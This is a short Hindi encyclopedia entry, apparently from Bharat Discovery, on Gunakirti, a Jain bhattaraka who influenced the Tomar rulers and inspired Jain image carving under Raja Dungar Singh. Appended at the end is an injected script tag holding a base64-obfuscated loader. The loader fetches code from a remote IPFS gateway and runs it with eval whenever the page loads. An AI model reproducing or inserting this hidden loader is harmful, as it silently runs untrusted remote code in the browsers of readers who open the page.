गुणकीर्ति
भारत डिस्कवरी प्रस्तुति
रविन्द्र प्रसाद (चर्चा | योगदान) द्वारा परिवर्तित 09:47, 13 मई 2020 का अवतरण (''''गुणकीर्ति''' जैन भट्टारक थे। इनके तप और चारित्र...' के साथ नया पृष्ठ बनाया)
गुणकीर्ति जैन भट्टारक थे। इनके तप और चारित्र का प्रभाव तोमर वंश के शासकों पर पड़ा और वे जैन धर्म की ओर आर्किषत हुए।
- गुणकीर्ति अत्यन्त प्रभावशाली थे।
- राजा डूगरसिंह के शासन काल में जैन मूर्तियों के उत्कीर्णन का जो महत्वपूर्ण कार्य हुआ, उसका श्रेय इन्हीं भट्टारक गुणकीर्ति को जाता है।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>